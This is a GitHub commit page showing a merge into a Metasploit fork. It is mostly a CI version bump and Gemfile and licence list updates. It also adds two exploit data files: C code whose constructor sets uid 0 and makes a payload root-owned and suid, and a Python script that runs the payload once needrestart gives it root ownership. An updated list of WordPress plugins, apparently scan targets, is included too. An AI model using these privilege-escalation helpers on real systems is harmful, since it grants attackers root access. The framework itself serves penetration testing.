Skip to content

Commit 712b47b

Browse files
authored
Merge branch 'rapid7:master' into linqpad_deserialization
2 parents 689e44f + d8e9093 commit 712b47b

File tree

145 files changed

+17453
-849
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

145 files changed

+17453
-849
lines changed

.github/workflows/verify.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -63,7 +63,7 @@ jobs:
6363
- '3.1'
6464
- '3.2'
6565
- '3.3'
66-
- '3.4.0-preview2'
66+
- '3.4'
6767
os:
6868
- ubuntu-20.04
6969
- ubuntu-latest

Gemfile.lock

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (6.4.43)
4+
metasploit-framework (6.4.47)
55
aarch64
66
abbrev
77
actionpack (~> 7.0.0)
@@ -15,10 +15,12 @@ PATH
1515
base64
1616
bcrypt
1717
bcrypt_pbkdf
18+
benchmark
1819
bigdecimal
1920
bootsnap
2021
bson
2122
chunky_png
23+
concurrent-ruby (= 1.3.4)
2224
csv
2325
dnsruby
2426
drb
@@ -31,6 +33,7 @@ PATH
3133
faraday-retry
3234
faye-websocket
3335
ffi (< 1.17.0)
36+
fiddle
3437
filesize
3538
getoptlong
3639
hrr_rb_ssh-ed25519
@@ -60,6 +63,7 @@ PATH
6063
octokit (~> 4.0)
6164
openssl-ccm
6265
openvas-omp
66+
ostruct
6367
packetfu
6468
patch_finder
6569
pcaprub
@@ -186,6 +190,7 @@ GEM
186190
base64 (0.2.0)
187191
bcrypt (3.1.20)
188192
bcrypt_pbkdf (1.1.1)
193+
benchmark (0.4.0)
189194
bigdecimal (3.1.8)
190195
bindata (2.4.15)
191196
bootsnap (1.18.4)
@@ -200,7 +205,7 @@ GEM
200205
crass (1.0.6)
201206
csv (3.3.0)
202207
daemons (1.4.1)
203-
date (3.3.4)
208+
date (3.4.1)
204209
debug (1.8.0)
205210
irb (>= 1.5.0)
206211
reline (>= 0.3.1)
@@ -242,6 +247,7 @@ GEM
242247
eventmachine (>= 0.12.0)
243248
websocket-driver (>= 0.5.1)
244249
ffi (1.16.3)
250+
fiddle (1.1.6)
245251
filesize (0.2.0)
246252
fivemat (1.3.7)
247253
getoptlong (0.2.1)
@@ -351,6 +357,7 @@ GEM
351357
openssl-ccm (1.2.3)
352358
openssl-cmac (2.0.2)
353359
openvas-omp (0.0.4)
360+
ostruct (0.6.1)
354361
packetfu (2.0.0)
355362
pcaprub (~> 0.13.1)
356363
parallel (1.26.3)
@@ -446,7 +453,8 @@ GEM
446453
metasm
447454
rex-core
448455
rex-text
449-
rex-socket (0.1.57)
456+
rex-socket (0.1.58)
457+
dnsruby
450458
rex-core
451459
rex-sslscan (0.1.10)
452460
rex-core

LICENSE_GEMS

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,7 @@ aws-sigv4, 1.10.1, "Apache 2.0"
2626
base64, 0.2.0, "ruby, Simplified BSD"
2727
bcrypt, 3.1.20, MIT
2828
bcrypt_pbkdf, 1.1.1, MIT
29+
benchmark, 0.4.0, "ruby, Simplified BSD"
2930
bigdecimal, 3.1.8, "ruby, Simplified BSD"
3031
bindata, 2.4.15, "Simplified BSD"
3132
bootsnap, 1.18.4, MIT
@@ -40,7 +41,7 @@ cookiejar, 0.3.4, "Simplified BSD"
4041
crass, 1.0.6, MIT
4142
csv, 3.3.0, "ruby, Simplified BSD"
4243
daemons, 1.4.1, MIT
43-
date, 3.3.4, "ruby, Simplified BSD"
44+
date, 3.4.1, "ruby, Simplified BSD"
4445
debug, 1.8.0, "ruby, Simplified BSD"
4546
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
4647
dnsruby, 1.72.2, "Apache 2.0"
@@ -61,6 +62,7 @@ faraday-net_http, 3.0.2, MIT
6162
faraday-retry, 2.2.1, MIT
6263
faye-websocket, 0.11.3, "Apache 2.0"
6364
ffi, 1.16.3, "New BSD"
65+
fiddle, 1.1.6, "ruby, Simplified BSD"
6466
filesize, 0.2.0, MIT
6567
fivemat, 1.3.7, MIT
6668
getoptlong, 0.2.1, "ruby, Simplified BSD"
@@ -88,7 +90,7 @@ memory_profiler, 1.1.0, MIT
8890
metasm, 1.0.5, LGPL-2.1
8991
metasploit-concern, 5.0.3, "New BSD"
9092
metasploit-credential, 6.0.11, "New BSD"
91-
metasploit-framework, 6.4.43, "New BSD"
93+
metasploit-framework, 6.4.47, "New BSD"
9294
metasploit-model, 5.0.2, "New BSD"
9395
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
9496
metasploit_data_models, 6.0.5, "New BSD"
@@ -119,6 +121,7 @@ octokit, 4.25.1, MIT
119121
openssl-ccm, 1.2.3, MIT
120122
openssl-cmac, 2.0.2, MIT
121123
openvas-omp, 0.0.4, MIT
124+
ostruct, 0.6.1, "ruby, Simplified BSD"
122125
packetfu, 2.0.0, "New BSD"
123126
parallel, 1.26.3, MIT
124127
parser, 3.3.5.0, MIT
@@ -159,7 +162,7 @@ rex-powershell, 0.1.100, "New BSD"
159162
rex-random_identifier, 0.1.13, "New BSD"
160163
rex-registry, 0.1.5, "New BSD"
161164
rex-rop_builder, 0.1.5, "New BSD"
162-
rex-socket, 0.1.57, "New BSD"
165+
rex-socket, 0.1.58, "New BSD"
163166
rex-sslscan, 0.1.10, "New BSD"
164167
rex-struct2, 0.1.4, "New BSD"
165168
rex-text, 0.2.59, "New BSD"
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
/*
2+
// system call
3+
#include <stdlib.h>
4+
// setuid, setgid
5+
#include <unistd.h>
6+
7+
static void a() __attribute__((constructor));
8+
9+
void a() {
10+
setuid(0);
11+
setgid(0);
12+
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
13+
system(shell);
14+
}
15+
*/
16+
17+
extern int setuid(int);
18+
extern int setgid(int);
19+
extern int system(const char *__s);
20+
21+
void a(void) __attribute__((constructor));
22+
23+
void __attribute__((constructor)) a() {
24+
setuid(0);
25+
setgid(0);
26+
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
27+
}
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
import os
2+
import time
3+
import pwd
4+
5+
print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")
6+
7+
while True:
8+
try:
9+
file_stat = os.stat('PAYLOAD_PATH')
10+
except FileNotFoundError:
11+
exit()
12+
username = pwd.getpwuid(file_stat.st_uid).pw_name
13+
#print(f"Payload owned by: {username}. Stats: {file_stat}")
14+
if (username == 'root'):
15+
os.system('PAYLOAD_PATH &')
16+
exit()
17+
time.sleep(1)
Lines changed: 55 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -1,71 +1,70 @@
1-
wordpress-popular-posts
1+
ajax-load-more
2+
all-in-one-wp-migration
23
backup
4+
backup-backup
5+
boldgrid-backup
6+
bookingpress
7+
bulletproof-security
38
catch-themes-demo-import
4-
modern-events-calendar-lite
5-
ninja-forms
6-
simple-file-list
7-
sp-client-document-manager
9+
chopslider
10+
custom-registration-form-builder-with-submission-manager
11+
download-manager
812
drag-and-drop-multiple-file-upload-contact-form-7
9-
wp-file-manager
13+
dukapress
1014
duplicator
11-
work-the-flow-file-upload
12-
ajax-load-more
13-
wpdiscuz
14-
wptouch
15+
duplicator_download
16+
easy-wp-smtp
17+
elementor
18+
email-subscribers
19+
file-manager-advanced-shortcode
1520
front-end-editor
16-
wpshop
17-
plainview-activity-monitor
18-
sexy-contact-form
19-
download-manager
21+
gi-media-library
22+
give
23+
hash-form
2024
inboundio-marketing
21-
wp-mobile-detector
22-
website-contact-form-with-file-upload
23-
slideshow-gallery
24-
reflex-gallery
25-
wp-symposium
26-
photo-gallery
27-
pie-register
28-
wysija-newsletters
29-
dzs-zoomsounds
30-
all-in-one-wp-migration
31-
wp-ultimate-csv-importer
32-
wp-symposium
33-
masterstudy-lms-learning-management-system
34-
wp-gdpr-compliance
35-
wp-automatic
36-
wp-easycart
37-
dukapress
38-
loginizer
39-
email-subscribers
40-
wps-hide-login
41-
secure-copy-content-protection
42-
wordpress-mobile-pack
4325
learnpress
44-
wp-mobile-edition
45-
boldgrid-backup
26+
loginizer
27+
masterstudy-lms-learning-management-system
28+
modern-events-calendar-lite
4629
modern-events-calendar-lite
47-
gi-media-library
48-
chopslider
49-
bulletproof-security
5030
nextgen-gallery
31+
ninja-forms
32+
paid-memberships-pro
33+
perfect-survey
34+
photo-gallery
35+
pie-register
36+
plainview-activity-monitor
37+
post-smtp
38+
really-simple-ssl
39+
reflex-gallery
40+
royal-elementor-addons
41+
secure-copy-content-protection
42+
sexy-contact-form
5143
simple-backup
44+
simple-file-list
45+
slideshow-gallery
46+
sp-client-document-manager
5247
subscribe-to-comments
53-
easy-wp-smtp
54-
duplicator_download
55-
custom-registration-form-builder-with-submission-manager
48+
ultimate-member
49+
website-contact-form-with-file-upload
5650
woocommerce-abandoned-cart
57-
elementor
58-
bookingpress
59-
paid-memberships-pro
6051
woocommerce-payments
61-
file-manager-advanced-shortcode
62-
royal-elementor-addons
63-
backup-backup
64-
hash-form
65-
give
66-
ultimate-member
52+
wordpress-mobile-pack
53+
wordpress-popular-posts
54+
work-the-flow-file-upload
55+
wp-automatic
56+
wp-easycart
6757
wp-fastest-cache
68-
post-smtp
69-
really-simple-ssl
70-
perfect-survey
58+
wp-file-manager
59+
wp-gdpr-compliance
60+
wp-mobile-detector
61+
wp-mobile-edition
62+
wp-symposium
63+
wp-symposium
7164
wp-time-capsule
65+
wp-ultimate-csv-importer
66+
wpdiscuz
67+
wps-hide-login
68+
wpshop
69+
wptouch
70+
wysija-newsletters
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
1+
bricks
12
holding_pattern
23
wplms
3-
bricks

0 commit comments

Comments
 (0)